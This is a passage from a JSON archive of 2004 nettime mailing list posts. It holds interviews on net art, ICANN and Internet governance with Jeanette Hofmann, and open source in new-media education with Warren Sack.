work. That's why I don't\nsee a contradiction between general public and art public: it's just a\ndifferent standpoint for the same work.\n\n\nmouchette: http://www.mouchette.org \np2p: http://www.postartum.org/p2p/\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Fri, 26 Mar 2004 17:43:11 +0100",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200403271313.i2RDDts31914 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0403/msg00101.html",
                "list": "nettime_l",
                "author_name": "Peter Luining",
                "subject": "<nettime> Interview with Mouch"
            },
            {
                "content-type": "text/plai",
                "from": "lia lialina <olia {AT} profolia.org>",
                "id": "00033",
                "content": "\nIn 2004 Art.Teleportacia artist in residence Dragan Espenschied and his \nGRAVITY won the People's Voice at Webby Awards. Here is a short \ninterview with him. Longer and older GRAVITY interview is still online.\n\nhttp://art.teleportacia.org/exhibition/GRAVITY/\nhttp://www.webbyawards.com/main/webby_awards/nominees.html#net_art\nhttp://art.teleportacia.org/exhibition/GRAVITY/interview.html\n\nol: congratulations with people's voice.\ndrx: thank you and everybody else who has voted for GRAVITY.\nol: have you expected that you would win people's voice?\ndrx: i expected that i would win both: jury and people voting.\nol: why don't you have a webby awards winner button on your site?\ndrx: i looked on the webby awards site for it, but have not found it.\nol: have not they sent it to you by e-mail?\ndrx: no.\nol: have you looked in the junk folder?\ndrx: i did.\nol: and?\ndrx: it is not there.\nol: can it be it was attached to their congratulation letter?\ndrx: i never got any congratulation letter from the  webby awards. i was \nalso not informed that my work was nominated.\nol:this is not nice. you have to pay 50$ to submit your applications, \nand they don't even inform or congratulate you.\ndrx: i have not applied and have not paid.\nol: that explains why they don't communicate with you!  they only send \ne-mails to those who applied and paid.\ndrx: and they nominate those who have not!\nol: right! now we know!\nol: and the last question: do u think \"net art\" was the right category \nfor GRAVITY?\ndrx: net art is a nice category, but  best practices,  music or travel \nwould fit as well.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 13 Jun 2004 22:51:24 +0200",
                "to": "\"nettime's on/off connector\" <nettime-l {AT} bbs.thing.net>",
                "message-id": "200406140146.i5E1kgN23800 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0406/msg00033.html",
                "list": "nettime_l",
                "author_name": "olia lialina",
                "subject": "<nettime> Interview with the Winner"
            },
            {
                "content-type": "text/plai",
                "from": "geert <geert {AT} xs4all.nl>",
                "id": "00041",
                "content": "\nOpen Ends: Civil Society and Internet Governance\nInterview with German policy expert, Jeanette Hofmann\nBy Geert Lovink\n\nBerlin-based researcher Jeanette Hofmann is a key player when it comes\nto German and European Internet policy. Late 2000 she briefly reached\ninternational media fame when she got elected as an ICANN at Large\nmember. Besides her busy international agenda she is also a professor at\nthe University of Essen where she is teaching governance-related issues.\nIn this online interview Jeanette Hofmann talks about her ICANN\nexperiences and her current involvement as a civil society member of the\nGerman delegation for the World Summit of the Information Society. I got\nto know her work in the mid nineties when Jeanette worked on an\ninterdisciplinary research project that mapped the Internet as a set of\ntechnical, cultural and political arrangements.\n\nGL: You recently published a paper (in German) called 'The Short Dream of Democracy on the Net.' Your conclusion is a rather sombering one. How would you describe the current situation related to ICANN? You state that nothing has been learned from the failed At-Large Membership experiment. Would you even go that far and see a backlash happening right now?\n\nJH: The argument of my paper goes as follows: In the last decade, a\ngrowing number of international organizations has established\ncooperative relationships with NGOs. There are two reasons why\ninternational organizations are willing to talk with NGOs. First, NGOs\nprovide specific expertise. Second, international organizations are\nstruggling with a widening democratic deficit deriving from the fact\nthat international agreements are out of reach for most people. Those\naffected by international policies are unable to participate in the\ndecision making process. Likewise, international organizations are not\naccountable to the people. Diplomats cannot be voted out of office when\nthey act against the peoples' will. Cooperating with NGOs, however,\nmakes international bodies appear more open, fair and thus legitimate.\nCivil society groups, on the other hand, are eager to get involved in\ninternational policy making because participation is seen as a first\nstep towards substantial changes in international policies. \n\nWhat looks like a win-win situation for both parties turns out to be\nproblematic for civil society. Evidence from most policy fields shows\nthat participation of NGOs so far doesn't lead to significant policies\nchanges. ICANN's five At Large directors, for instance, had hardly any\nimpact on ICANN's DNS policies. While cooperation between international\norganizations and NGOs may improve the reputation of the former, it\nclearly creates legitimacy problems for the latter. As soon as civil\nsociety organizations assume formal roles in international forums, their\nrepresentativeness and legitimacy are also called into question.\nIronically, NGOs are charged with the democratic deficit they once set\nout to elevate. \n\nICANN has been an excellent example of this mechanism. After the At\nLarge directors' elections in 2000, ICANN's inner circle successfully\nchallenged the legitimacy of both the At Large membership and the\nelections. Thus, most people today recall the ICANN elections as a\ncomplete failure. The elections were regarded as a disaster because they\nlacked, guess what, representativeness. Of course, the elections were\nunrepresentative! It is impossible in global environments to hold\nrepresentative elections. As far as I remember, nobody ever expected the\nICANN elections to globally representative. Not even the governments in\nICANN have succeeded in establishing a representative body with all\nnations participating in the Governmental Advisory Council. The same\nholds true for the Internet industry and the technical community. By and\nlarge, it is a tiny minority which really cares enough about Internet\nnames and numbers to participate in ICANN. However, the lack of\nrepresentativeness has been raised particularly as an issue with regard\nto individual users. The At Large membership was the only group of\nstakeholders which was critizided and finally disqualified on the\ngrounds of a lack of representativeness. Once disqalified as\nillegitimate, the remaining stakeholders happily agreed to kick\nindividual users out of the ICANN board. \n\nICANN's organizational reform in 2002 thus put an end to the original\nidea of fair, equal participation of individual users in ICANN. A\nmajority of stakeholders chose to get rid of the weakest stakeholder in\nthe game. As a result, representation of individual users on the board\nhas been reduced to one liaison person without voting rights. Seen from\nthis perspective, ICANN's reform constitutes a backlash \u0096for Internet\ngovernance in particular and for the notion of a democratization of\nglobal politics in general. \n\nGL: Could you imagine that Internet governance will have to be drawn up\nfrom scratch? Are ICANN, but perhaps also bodies like the IETF beyond\nrepair? You and others have tried so hard to reform ICANN from within.\nIf you got a chance how would you start again?\n\nJH: I have watched both organizations for several years. In my view,\nICANN and the IETF are very different beasts. (I don't know enough about\nthe Internet Society and therefore won't say anything about this body.)\nOne crucial difference refers to the fact that the IETF is not a formal\norganization, it lacks any exclusive boundaries or membership criteria.\nUnlike most other standard setting bodies, the IETF regards itself open\nto everyone who wants to participate. There are no membership fees or\nsimilar means to select participants. By contrast, ICANN has spent a lot\nof time on defining its boundaries consisting, among other things, of\nadmission and decision making procedures. While the IETF depends to a\ngreat extent on bottom up processes, ICANN at times seem to regard them\nas inevitable noise which lowers efficiency. The IETF cannot develop\nstandards without active participation of its members, the Internet\nindustry. The IETF thus needs to motivate those who are affected by its\nnorm setting function. ICANN, on the other hand, works on the assumption\nthat democratic bottom up processes are unnecessary. It is just\ntechnical coordination what ICANN says it is doing, not political\ndecision making. Even if this were the case, it makes one wonder why\ntechnical standard setting bodies go through some effort to create\nlegitimate decision making procedures. \n\nAs a result the reform efforts of ICANN and the IETF followed very\ndifferent strategies. ICANN started with a reform proposal by its\npresident, tasked a board member with its implementation and pursued a\ntop down approach. The IETF chair founded a working group instead which\nwas open for everyone to join. While the IETF initiated a process that\nsought to involve the whole community, ICANN followed an exclusive\napproach. To be sure, ICANN's supporting organizations were invited to\ncomment on the various proposals put forward by the reform committee but\nthe status of these comments remained unclear. The reform process failed\nto create more trust in the ICANN structure. Without trust, however,\nthere is not much motivation for voluntary participation in a process\nsuch as ICANN.\n\nGL: So much in the current debates over global governance seems to go\nback to the issue what place governments and individual nation states\nhave within global governance. What has been your ICANN experience?\nIdeally, what would be the place of the state? Do you believe in a\nfederal structure? Should, for instance, bigger countries, in terms of\nits population, have a great say?\n\nJH: The role of governments touches upon two contested issues, national\nsovereignty and transnational democracy. Both issues have evoked fierce\ndebate at the preparatory conferences of the World Summit on Information\nSociety. Developing countries in particular have pointed out that the\nspread of the Internet affects matters of national sovereignty. An\ninternational regime would enable more political control over both\ninfrastructure development and data traffic. This is why many developing\ncountries would like to see an UN body such as the ITU assume a more\nresponsible function in the area of Internet management. \n\nAmong the driving forces in this process are new communication services.\nThe revenues of national telecommunication monopolies are threatened by\nthe advent of Internet telephony. In addition, the digital divide,\nproblems such as spam, worms and viruses are mentioned as reasons for an\nintergovernmental approach to Internet regulation. Interestingly enough,\nthe debate on Internet regulation was initiated in the context of WSIS,\nnot of ICANN. ICANN's Governmental Advisory Committee used to\npredominantly reflect the world views of OECD countries, not those from\nthe south. \n\nThe second issue, transnational democracy, has been a matter of extended\ndebate in the academic world. One of the central questions is whether\ndemocratic procedures, which were once designed for territorial nation\nstates, can be adapted for transnational policy fields. According to the\nskeptics in this field, democracy doesn't work outside of the nation\nstate. Democracy, from the skeptics' point of view, is a national\ninstitution, and the transnational sphere fails to meet the basic\nrequirements for it to work. Foremost among these requirements are a\ncommon language as foundation for a public sphere, solidarity among the\npeople as a condition for \"redistributional policies\", and a clearly\ndefined constituency as a precondition for majority ruling. Since none\nof these criteria are met outside of the nation state, democratic world\npolitics are but a utopian idea. \n\nThe advocates of a democratizing world politics argue, however, that\ndemocracy should not be treated as a static concept but rather as a\ncontested, open-ended process. Instead of referring to and hiding behind\nestablished democratic routines we should keep in mind the huge\ntransformations the original concept of democracy has undergone since\nits inception. Originally designed for Greek city states, democratic\nprinciples were thoroughly rethought in order to apply them in differing\nways to the emerging territorial states. So, why should it not be\npossible to revise democratic principles once again in order to adjust\nthem to transnational settings? \n\nSome preliminary suggestions have been floated in recent years. Among\nthem is the concept of deliberative democracy, which proposes to replace\nmajority ruling by persuasion, consensus and compromise. Since it is\nimpossible to establish majorities beyond the nation state, it is\nnecessary to use other means for legitimate decision making. The concept\nof deliberative democracy suggests strengthening discursive capacities\nsuch as reasoning and negotiation, which are already supposed to play a\nmajor role in political everyday life. Some observers expect that new\nschemes of deliberative democracy might evolve along the lines of given\nindustries and policy fields rather than regional divisions. The\ntransnational public sphere would thus be structured primarily around\nproblems, industries and organizations. Experience with ICANN shows,\nhowever, that such models can only work within a framework of minority\nprotection and additional democratic achievements as layed out in the\nconstitutions of nation states. \n\nWhile the nation state attaches rights of participation to citizenship,\nthe post-national world would grant those rights to people who choose to\nparticipate in certain policy fields. Transnational policy fields would\nbe populated in a tripartite manner by government, industry and civil\nsociety. Governments would thus be an important stakeholder among other\nimportant stakeholders. Governments do already cooperate with the\nprivate sector in many policy fields. It is now about time these public\nprivate partnerships get extended so that also civil society interests\nare taken adequately into account. \n\nNo matter, what such policy arrangements would ultimately look like, a\ncrucial point seems to be how the exercise of power in the transnational\nsphere can be restricted and its abuse prevented. What we need, it\nseems, is a Montesquieu for information society who devises a modern\nmodel of power division taking into consideration the leverage of\ndigital technology. Such a model of power division would limit and\ndisperse the amount of control enabled by both the Internet's\narchitecture and the structure of the Internet's industry. \n\nGL: In the case of the Internet, the status of the US government is\nobviously a special case. One can think of a historical claim, but also\nin general about the sheer size of its economic, military and political\npower. How do you look at this? \n\nJH: To be sure, the current unilateral management of the DNS root is\nunacceptable on principle grounds. In the long run, policy authority\nover the root, the address and the name space must be divided among\nseveral bodies each of which should be composed of multiple stakeholders\nconsisting of civil society, industry and governments. On practical\ngrounds it could be argued though that the present situation constitutes\na pretty stable and more or less acceptable arrangement. In my view, the\nUS government's power over the Internet has been to a large extent a\ntheoretical concern. The US government would never dare to disable a\nmajor country code Top Level Domain such as .fr, .jp or .de. Because the\nUS government's control over the DNS root has been strongly criticized\nand closely monitored by many stakeholders, it can be assumed that the\nDOC makes rather careful use of its power over the root. If I am right,\nit is quite a challenge to devise policy authorities that are not only\nstructured in legitimate ways but can also be trusted to act with the\nsame caution as the USG does today. Within civil society the idea of an\nintergovernmental root convention has been aired. Such a convention\nwould basically establish a national right to an entry of the respective\nccTLD in the root server file. No single government would have the\nauthority any longer to decide single handedly over the existence of Top\nLevel Domains on the Internet. \n\nGL: You have been visiting WSIS as a member of the German delegation.\nCould you share some of your personal impressions with us? Did you\nprimarily look at WSIS as an ICT circus for governmental officials and\ndevelopment experts or what there something, no matter how futile, at\nstake there?\n\nJH: For observers, UN world summits may indeed look like a circus with\npeople traveling around the world for the sake of traveling and doing\nnothing but producing papers the gist of which remains obscure to\noutsiders. Yet, from a participant's point of view, the world summit is\nnot primarily a circus but an opportunity for negotiation. What makes UN\nworld summits special is the diversity of people both in terms of\ncultural or geographic origin and their functions and competences.\nRepresentatives of governments, civil society and private sector\norganizations from all over the world meet for several weeks to discuss\nthe proper meaning, their visions and the challenges of a global\ninformation society. This is both a laborious and an exciting effort\nwith lasting effects on most participants' world views. At a minimum,\nyou become aware of the extent as to how your political opinions reflect\nthe common sense of your political culture. \n\nMore specifically, the WSIS process has been relevant for procedural as\nwell as substantial reasons. The first aspect refers to the world\nsummits' rules of procedure. In the case of WSIS, the rules of procedure\nturned out to be a bone of contention because governments had different\nopinions on the status of NGOs and the private sector. For example,\nshould non-governmental actors be granted an observer status and if so\nfor what type of meetings? Should they have the right to speak to the\nplenary or at working group meetings? Should they be supported with\ntravel grants as their governments are, etc. etc. \n\nEach world summit has to decide anew on its rules of procedure. The\ninteresting point is that these rules evolve over time or perhaps even\nfrom summit to summit. The formal status and the political weight of\nNGOs in particular are increasing. For the first time, NGOs got meeting\nrooms on the conference premises. Likewise, speaking slots for civil\nsociety and private sector at plenary meetings become institutionalized.\nCivil society in turn decided to set up a formal structure consisting of\nan international civil society bureau which represents a broad variety\nworking groups, caucuses and families. The international civil society\nbureau forms an interface between NGOs and governments and facilitates\ncommunication between them. It seems rather unlikely that subsequent\nworld summits would discontinue these structures and processes. \n\nWorth mentioning in this respect is the fact that a growing number of\ngovernments accepts civil society people as official members of their\ndelegation. Canada, Switzerland, Denmark, Finland, and Germany are among\nthe pioneers of this new form of cooperation between government and\ncivil society. Hence, WSIS clearly marks a step forward towards\nexploring new modes of interaction between governments, civil society\nand private sector. \n\nWSIS has been an important process also with regard to our political\nunderstanding of information society. The fact that the ITU of all UN\norganizations was charged with organizing the summit led to a conceptual\nframework which focused primarily on information and communication\ntechnologies. The summit thus started out with a fairly technical\nunderstanding of information society. Now, the first paragraph of the\nDecember 2003 WSIS declaration affirms the commitment to \"build a\npeople-centred, inclusive and development-oriented Information Society\".\nAlso, the declaration emphasizes the \"universality, indivisibility,\ninterdependence and interrelation of all human rights and fundamental\nfreedoms, including the right to development, as enshrined in the Vienna\nDeclaration.\" Democracy, sustainable development, respect for human\nrights and fundamental freedoms are described as \"interdependent and\nmutually reinforcing\". The Universal Declaration of Human Rights is\nmentioned as \"an essential foundation of the Information Society\".\n\nIt is safe to say that civil societies' persistent interventions have\nhad a significant part in the changes of the declaration's underlying\nconcept of information society. Thanks to civil society's participation,\nthe WSIS declaration has stripped of its technocratic approach and\nreflects now a more political notion of information society. Political\nin the sense of that information society is put into context. This\nimplies a notion of communication as a basic human need and a\nfundamental social process. It also implies awareness of the unequal\naccess to and benefits from information and communication technologies,\nand it implies a serious commitment to capacity building and social\nempowerment in order to overcome the various forms of digital divide. \n\nThe main insight I gained from participating in the WSIS process\nconcerns the fact that information societies depend on the right to\nfreedom of opinion and expression. Without adherence to human rights and\nbasic democratic principles, information society is but a sham. This\nmight sound like a trivial point. However, the declaration's paragraph\non human rights proved to be one of the most contested ones. The WSIS\nprocess shows that respect for and compliance with human rights can\nnever and nowhere be taken for granted. The vision of a people centred\ninformation society thus implies necessarily a commitment to defend\nhuman rights. \n\nGL: Cynics knew at forehand that WSIS would never have any outcome. The\nUnited Nations together with the ITU seemed such an odd coalition,\ndoomed to meaningless. On the other hand, WSIS, together with Verisign\ndo put up serious pressure on ICANN. There is a 'Kofi Anan' initiative\nto come up a new framework for ' global Internet governance'. Will the\nlibertarian US-led engineering class, which still dominates Internet\ndecision making bodies, allow alternative proposals to be further\ndeveloped? They seem happy with the status quo.\n\nJH: Your question seems to assume that there is one group of\nstakeholders, which is able to effectively control the governance\nstructure of the Internet. I don't think this is the case. I do not even\nsee that any of these groups has a clear, comprehensive vision of the\nInternet's future. I see Internet Governance rather as an open-ended\nsearch process with different groups pursuing more or less contested\nshort-term goals, some of which may contribute to the groundwork of a\nlong-term regime for the net. Part of this search process is an ever\nchanging composition of key actors. The active involvement of UN\nheadquarters is just the latest development in this process. Again, I\ndon't think it has been anybody's explicit goal to get the UN involved.\nThe founding of the UN working group on Internet Governance is the\ncompromise between conflicting government interests. While most OECD\ncountries believe in self-governance with little or no government\nparticipation, many developing countries would prefer an\nintergovernmental regime for the Internet. The UN was chosen as a\nneutral and legitimate organization to host a working group being tasked\nwith developing a definition of internet governance, identify public\npolicy issues related to that definition and finally developing a\ngeneral understanding of the respective roles and responsibilities of\ngovernments and all other actors involved. \n\nDue to its narrow time frame, we can hardly expect the UN working group\nto come up with ground braking new ideas. Yet, it would be a mistake to\nunderestimate the symbolic import of the UN working group. For the first\ntime the meaning of Internet Governance is not just taken for granted\nbut subject to political consideration. I think it is good to have a\npublic debate on the question as to who should do what in the field of\nInternet Governance. An actual example is spam. Spam has become a threat\nto the most common and important Internet service, email. Should this\nproblem be tackled on the national or on the global level? Will there be\ntechnical solutions available in the near future? Do we need new\nregulatory tools in order to ensure compliance with national laws? I\nthink it is a step forward to discuss these questions in a systematic\nmanner within an inclusive, transparent framework.\n\nWe need such debates because it is less and less clear how the freedom\nof all individual users worldwide is best served. I used to believe in a\nstrict hands-off approach opposed to any government intervention on the\ngrounds that governments would impose a national logic on the first\ntransnational communication infrastructure and thereby transforming it.\nFurthermore, like many other people I suspected that government\nintervention would suffocate the Internet's innovative pace. Today, I\nfind it less obvious that self-regulation is able to maintain in the\nlong run what we like most about the Internet, the freedom of\ncommunication. \n\nThe UN working goup is important also with respect to its composition\nand working methods. It has been stressed during the process of setting\nup of the working group that the overall acceptance and legitimacy of\nits outcome depends to a large extent on its composition. It can be\nexpected that in addition to governments and supranational organizations\ncivil society and the private sector will also be represented. Such\nmodest experiments in creating legitimacy in global politics are very\nimportant as each of them forms a milestone for other people and\norganizations to refer to. Despite the sceptics' view in democracy\ntheory, there is in some organizations a growing willingness to work on\nmore inclusive approaches to international policy making. It remains yet\nto be seen whether such tripartite models will have any substantial\nimpact. Now, coming back to your question, I pursue a non-cynical\napproach to the WSIS process as you can see. \n\nGL: Besides policy work you started teaching at the University of Essen.\nWhat do you teach your students, how do they respond and what have been\nyour experiences so far?\n\nJH: I've been teaching \"politics and communication\" for two semesters. I\nusually do a course on Internet Governance. There are not that many\npeople in social sciences who look at the Internet as an evolving social\nspace. In Germany and perhaps in Europe in general the Internet is\npredominantly seen as a mere tool that people have to master in order to\nuse it effectively. I thus see my classes as an ongoing attempt to\nrefute such reifications. In my view, the net is still a very dynamic\nplace with its technical and social norms being subject to constant\ntransformation and reinterpretation. So, one of the things I try to\nteach my students is that even the mere use of Internet services has\nrepercussions on its further development. Think of Anthony Giddens\nconcept of \"structuration\" where structures and agency mutually\nconstitute themselves. I guess my main point is that I want my students\nto understand that their behaviour actively shapes (network) structures\ninstead of passively using them. \n\nA second course I taught this year revolved around globalization and\ndemocracy. The last third of the course discussed the draft treaty\nestablishing a convention for Europe. The punch line of the whole\nexercise concerned the contested majority rule. As I've mentioned\nearlier in this interview, democracy can be regarded as a pretty dynamic\nenterprise. It is actually quite ironic: while most people associate\ndemocracy with majority ruling, the composition of majorities itself is\neverything but a clear-cut procedure. The negotiations surrounding\nvoting rules and the weighting of votes in the European council\nexemplify quite well that constitutions do not consist of a fixed set of\npolitically neutral procedures. Rather, they reflect the configuration\nof key actors, their political traditions and beliefs as well as the\npower balance between them. \n\nAt the same time, we looked at the EU convention as an attempt to create\na working confederation as apposed to a federal state. It remains true\nthough that the EU itself couldn't become a member of the EU as it\ndoesn't meet its own criteria of democracy! \n\nSo, I guess I try to share with students what I find personally\ninteresting about politics. What I do find interesting doesn't depend so\nmuch on the subject matter but on the perspective. Politics get\ninteresting when you look at them from an active citizen's point of\nview, somebody who cares about and feels responsible for society. Now,\nmost students feel comfortable with the idea that they are mere victims\nof a more or less corrupt political process and therefore really\ncouldn't care less about its details. So, how do they respond to my\npreaching approach? I think I succeeded when I convinced them to look at\npolitical challenges from a politician's perspective who faces a million\ndilemmas but has nonetheless to make decisions and bear all the\nconsequences. One of the students made it know in the last meeting that\nhe had now subscribed to a newspaper and seriously intended to read it.\nThis is something I won't forget. \n\n---\n\nJeanette Hoffmann's homepage:\nhttp://duplox.wz-berlin.de/people/jeanette/index.shtml\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Thu, 12 Aug 2004 13:00:03 +0000",
                "to": "Nettime-l <nettime-l {AT} bbs.thing.net>",
                "message-id": "200408121315.i7CDF9K01184 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0408/msg00041.html",
                "list": "nettime_l",
                "author_name": "geert",
                "subject": "<nettime> Interview with Jeanette Hofmann"
            },
            {
                "content-type": "text/plai",
                "from": "Trebor Scholz <trebor {AT} thing.net>",
                "id": "00066",
                "content": "\nInterview with Warren Sack on New-Media Art Education\nby Trebor Scholz\n\nTS: In a recent interview members of kuda (new media center, Novi Sad)\naddressed the lack of non-proprietary software in the corporate world.\nBut nevertheless, kuda strongly opts for open source / free software in\neducation as:\n\n\"The cadre of designers and programmers that relies on proprietary\nsoftware to find a job, is no different than the Fordist proletarian\nsubject but without proletarian consciousness. We can link the ideas\naround software to Marx=B9 notions of the necessity for the proletariat\nto own the tools it uses= .  As of now, software and hardware tools are\nin not in our hands.\"\n\nThere are examples of universities in the U.S. that are in the process\nof entirely switching to open source software. How do you see\npossibilities fo= r open source in an American academic context?\n\nWS: As implied by Kuda, this is both a question of consciousness-raising\nan= d also of functionality.  There are specific marketing and\nlitigation strategies of disinformation that are actively undermining\nthe necessary consciousness raising. These strategies of disinformation\nare similar to th= e ones big media and big industry have been using for\nat least a century: the= y are strategies of \"seamlessness.\"  By this I\nmean that powerful interests want you, the consumer and citizen, to\nignore the seams that articulate the parts of computers and networks\ntogether. A perfect example of this, right now (December 2004), is AOL's\ncurrent marketing campaign.  AOL assures us, in television ads, that\nthey can create \"a better Internet.\"  This is willful obfuscation.  The\nInternet -- as a net of nets -- is, by definition= , outside of the\ncontrol of a single entity: AOL can't change the Internet even if it\nwants to. But, what AOL wants people to believe is that AOL is the\nInternet. And, from personally experience, I can tell you that many lay\npeople think this is the case.  When, for example, I've demonstrated to\nnovice users who have AOL accounts that they can \"see the Internet\" from\na standard browser that is not the AOL technology, they have been rather\nshocked.  To them it is seamless: there is no difference between AOL and\nth= e Internet.  This serves AOL's interests because people are then led\nto believe that there are no other alternatives. Another good example of\nthis was Microsoft's -- legal claim of a few years ago -- that their\nWindows operating system and the Internet explorer web browser were\ninseparable: that one could not be shipped without the other.  (Or,\nMicrosoft's current run-in with the EC courts contending that its\nWindows Media Player is integral to the Windows operating system.)  This\nturned out to be technically trival to prove to be false -- the\napplication and the operatin= g system can be separated -- but the U.S.\nJustice Department must have spent = a pretty penny to convince the\njudge in charge of the case.  So, my point is this: to propose open\nsource as an alternative within any given work contex= t requires some\namount of consciousness raising that is being actively worked against by\nlarge concerns that would like the public to believe -- not just that\ntheir products are \"better\" -- but that no alternatives exists. But,\nthen there is also the issue of functionality: open source software is\nfrequently designed and implemented by experts who have little or no\ninsigh= t into what non-programmers might need or want. Setting up and\nmaintaining a Linux server, installing an open source database system\nlike Mysql, using open source alternative's to commercial software\n(e.g., Open Office), etc.  can be a hassle even for those of us who are\nexperts.  In fact i do not hav= e anything against non-open source\nsoftware by companies that build solid tools and do not engage in\ndisinformation campaigns. Unfortunately, it is usually the companies\nengaged in disinformation that also build lousy software.  There is a\ncrafty business rationale for doing this, for making your customers your\nalpha testers: the company saves on quality control personnel and also\ngets customers to check in with them frequently.  \"Staying in touch\"\nwith your customers by having them check in with you every week to patch\nthe lousy software is unethical, but effective for fostering a relation\nof dependence. Any strategy to adapt open source software should take\ninto account the fact that some commercial software is a nice complement\nto open source software.  For example, working with Apple= , Macromedia\nand Adobe software is usually a pleasure: they write solid, easy-to-use\nsoftware that doesn't need to be patched every second day.  These are\ngood complements because (1) They do something better than open source.\nFor example, one could use Gimp to edit digital photos, but Gimp is\nultimately a good but imperfect attempt to mimic Adobe Photoshop.\n\n(2) Such software comes from companies that build on top of open source\nsoftware, work in coalitions to establish common, non-proprietary\nstandards= , and who work hard to provide alternatives -- rather than\nfighting for absolute dominance and the elimination of alternatives. One\nmust also keep in mind that open source is not anti-corporate. When\nRichard Stallman's notion of free software gained a wider interest, the\nprinciples and \"open source\" corporation-friendly moniker was\nestablished to differentiate it from Stallman's more radical idea of\n\"free software.\"  IBM and other large companies are now heavily invested\nin, develop and critically depend upon open source software. So, my\nanswer is yes, universities have a lot to gain by moving some of their\nbusiness to open source software.  But, I don't think there are good\nopen source alternatives for all categories of software. Actually it is\ngood to remember, conversely, that there are non-commercial alternatives\nto several crucial categories of open source software, categories that\nare the foundations, the very \"backbone\" of the software layers of\nnetwork technologies (e.g., DNS-BIND, OpenSSL, sendmail, and, arguably,\nthe  Apache web server). So, the commercial vs. open source distinction\nis a false dichotomy and the more important criterium to remember when\none does choose to work with commercial software is to ask whether or\nnot the company producing the software is an ethical company. An\n\"ethical company\" might be an oxymoron in a conventional Marxist's\nlexicon, but I think this is a crucial problematic to address if one\nhopes to understand our current circumstances of post-industrialization.\n\nTS: How does your writing of media philosophy enter into your teaching?\nWhich books or essays do you find most helpful in your teaching?\n\nWS: I believe that its important to understand that technologies\nincorporat= e frozen -- i.e., reified -- social, economic and political\nrelations.  For example, if you have DSL in your home, you almost\ncertainly have more bandwidth coming into your house than you have going\nout of your house.  In other words, structured into the network wiring\nis the assumption that you are a consumer, not a producer of information\nbecause the engineering has been done to make it easier for you to\ndownload information from the Internet rather than to upload\ninformation.  Information technologies contain many forms of catachresis\n(frozen metaphor) that more often than no= t started life as quirky\nphilosophy projects and are now \"frozen\", but workin= g as silicon and\ngold components.  For example, the 19th century philosopher, George\nBoole, had a project (An investigation into the Laws of Thought) to try\nto algebraically deduce truths that is now literally printed into the\nvery foundations of computers: we know these foundations in contemporary\ntechnology as \"Boolean Circuits.\"  I try to teach my students that each\nof these frozen decisions could in fact be undone and replaced with\nsomething else. What would result might be an entirely different\ntechnology. This sor= t of investigation/thought experiment is also the\nbasis for my own research and scholarship: I am interested in\nchallenging and finding alternatives to the foundations of computer\nscience and network architectures by locating the presuppositions built\ninto contemporary, new media technologies.  An example of this kind of\nwork is the \"Translation Map\" that Sawad Brooks and I did\n(translationmap.walkerart.org) in which we re-read the founding essay of\nthe field of machine translation, a text written by Warren Weaver in\n1949.  Weaver proposes to understand translation as a problem of coding\nand decoding.  We show the absurdity of Weaver's proposal -- and the 50\nyears o= f work in machine translation that has been done based on\nWeaver's proposal -= - and we illustrate a possible alternative by\nprototyping a network technolog= y for collaborative editing in which\ntranslation is understood to be a form o= f collaborative work between\npeople, rather than as a de/coding problem to be handled exclusively by\na machine.  To impart this perspective to my students, I like to have\nthem read original documents from the history of technology (e.g., like\nthe texts included in Noah Wardrip-Fruin and Nick Montfort's \"New Media\nReader\" (MITPress)) and also to read work from scienc= e studies and\ncritical theory that describes technologies as assemblages of\nsocio-technical relations.  Bruno Latour's book, \"Science in Action\"  is\non= e thing students in my \"Introduction to Digital Media\" course are\nasked to read.\n\nTS: In a recent interview Ralf Homann, faculty at Bauhaus University,\ntold me that Walter Gropius demanded an educational practice in the arts\nthat focused students on economics from very early on-- Gropius thought\nof the artist as a polished, perfected craftsman. He claimed that\nacademies separate art from life, from the \"industry.\" Today, there is\nno such thing as \"the industry\" for which students could be prepared.\nIt's not like in other areas where a predictable skill set secures a\njob. In new media the skill sets are drastically changing and what was\njustifiable and useful yesterday may be irrelevant and dated tomorrow.\nHow do you address this dilemma?\n\nWS:  On the one hand I disagree: I think there are very specific \"craft\"\nskills that are relatively stable and that can be taught to students of\ndigital media.  For example, programming is a general skill that is\nessential to the construction of all digital media. Even if one does not\nknow a particular programming language, if one knows how to program it\nis really not a big challenge to learn another language. On the other\nhand, I agree: there is no one industry for which students are being\nprepared.  Digital media of today is like writing was to Plato's Athens:\nit is a \"solvent\" being incorporated everywhere and it threatens to\ndissolve and rearrange disciplinary boundaries as well as industry\ndifferences.  Every department in the university must today wrangle with\nthe questions of new media. Some of the oldest departments, e.g.,\ndepartments of classics, have been the most innovative in addressing the\npossibilities and problems of ne= w media. A lot of what computers and\nnetworks do in industry and government i= s to automate processes that\nhad previously been done by hand: forms of production, like bureaucratic\nprocedures are being automated. Bureaucracy -= - which means literally\n\"rule by the bureau, or the office\" -- is being replaced by\n\"computercracy\" -- rule by computational methods.  Larry Lessig and\nother legal scholars have been very articulate in pointing out the legal\nramifications of this kind of transformation.  But, if people don't\nthink too deeply, computercracy ends up looking a lot like bureaucracy.\nFor instance, the so-called \"desktop metaphor\" that structures the\ninterface most of us use when we operate a computer, is a relatively\ndirect borrowing from the technology of the office -- files, folders,\ntrashcans, desks, etc.  So, the crucial challenge is to teach\nfundamentals -- that may in fact be \"crafts\" -- so that graduates can\nrethink computerization where ever they find themselves.\n\nabout Warren Sack\nhttp://hybrid.ucsc.edu/SocialComputingLab/\n\n\n#  distributed via <nettime>: no commercial use without 